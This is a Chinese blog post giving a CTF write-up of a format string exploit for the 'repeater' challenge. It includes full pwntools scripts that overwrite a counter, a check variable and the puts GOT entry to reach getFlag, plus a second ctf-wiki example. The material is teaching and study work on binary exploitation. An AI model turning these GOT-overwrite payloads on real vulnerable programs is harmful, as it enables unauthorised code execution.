threst's Blog

pwn之路_repeater(山东省赛)

2018/11/14 Share

repeater

考点:格式化字符串漏洞

pwntools知识点

fmtstr_payloadpwntools提供的函数,用于自动生成格式化字符串。

fmtstr_payload有两个参数,第一个参数是int,用于表示取参数的偏移个数,第二个参数是字典,字典的意义是往key的地址,写入value的值

fmtstr_payload(7, {printf_got: system_add})

这个函数调用会往printf_got中写入system_add

分析代码

此题为简单的格式化字符串漏洞,首先总览分析一下程序,循环受totalcount次数限制,初始值为1。

程序提供了 getFlag 方法,但是需要变量 number0x2018 才会执行命令。

一个一个kill

totalcount

接下来思路就很清晰了,首先改写totalcount变量,使得循环执行更多次。

totalcount的地址为0x0804A064,所以要将其修改为3

1
2
payload = fmtstr_payload(4,{0x0804A064:0x3})
p.sendline(payload)

number

然后改写 number 为 0x2018。同样我们要在.data中寻找number的值

1
2
payload = fmtstr_payload(4,{0x0804A060:0x2018})
p.sendline(payload)

getflag

在最开始的图中我们可以知道,格式化字符串输出后就调用了puts函数,我们要做的就是将puts其地址修改为getflag函数的地址,最后调用 getFlag方法获取 Flag。

那么我们现在有了新问题,怎么找到puts的地址和getflag的地址?介绍两种方法

方法1(puts)

使用objdump -R repeater命令

地址为0x0804a014

方法2(puts)

ida找got表

getflag地址

直接ida打开就行

框框中的地址好像都可以用

payload

好了现在我们有了puts的地址0x0804a014,getflag的地址0x080485B6

脚本如下

1
2
payload = fmtstr_payload(4,{0x804a014:0x080485B6})
p.sendline(payload)

exp

最后代码

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./repeater')

payload = fmtstr_payload(4,{0x0804A064:0x3})
p.sendline(payload)
payload = fmtstr_payload(4,{0x0804A060:0x2018})
p.sendline(payload)
payload = fmtstr_payload(4,{0x804a014:0x080485B6})
p.sendline(payload)
p.interactive()

小知识点

1.寻找偏移量

看输出判断,比如这个题的偏移量为4,我们这样来确定

输入AAAA.%x.%x.%x.%x.%x.%x.%x,查看打印的字符41414141AAAA后面第几个偏移量就为多少,这个是第4个,所以偏移量为4.

我们再来一个,源码来自ctf-wiki中格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

编译下gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c

根据上面讲的,这个的偏移量就是6,我们尝试下修改a的值

首先找到a地址为0x0804C024

1
2
3
4
5
from pwn import *
sh = process('./overflow')
payload = fmtstr_payload(6,{0x0804C024:0x2})
sh.sendline(payload)
sh.interactive()

成功修改,同理修改b

1
2
3
4
5
from pwn import *
sh = process('./overflow')
payload = fmtstr_payload(6,{0x0804C028:0x12345678})#b的地址为28
sh.sendline(payload)
sh.interactive()

CATALOG
  1. 1. repeater
  2. 2. pwntools知识点
  3. 3. 分析代码
  4. 4. 一个一个kill
    1. 4.1. totalcount
    2. 4.2. number
    3. 4.3. getflag
      1. 4.3.1. 方法1(puts)
      2. 4.3.2. 方法2(puts)
      3. 4.3.3. getflag地址
  5. 5. payload
  6. 6. exp
  7. 7. 小知识点
    1. 7.0.1. 1.寻找偏移量